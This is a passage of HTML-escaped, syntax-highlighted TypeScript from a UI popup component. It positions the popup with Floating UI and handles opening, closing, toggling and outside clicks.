class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/shift\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003epadding\u003c/span\u003e: \u003cspan class=\"kt\"\u003e8\u003c/span\u003e \u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/flip\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(({\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ey\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// State Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to on\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update render settings\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;auto\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Floating UI autoUpdate (open only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/autoUpdate\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Focus the first focusable element within the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set transition duration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eparseFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetComputedStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003etransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereplace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to off\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Cleanup Floating UI autoUpdate (close only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger callback\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if the popup is not yet open\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if click is the trigger element\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// If click it outside the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan 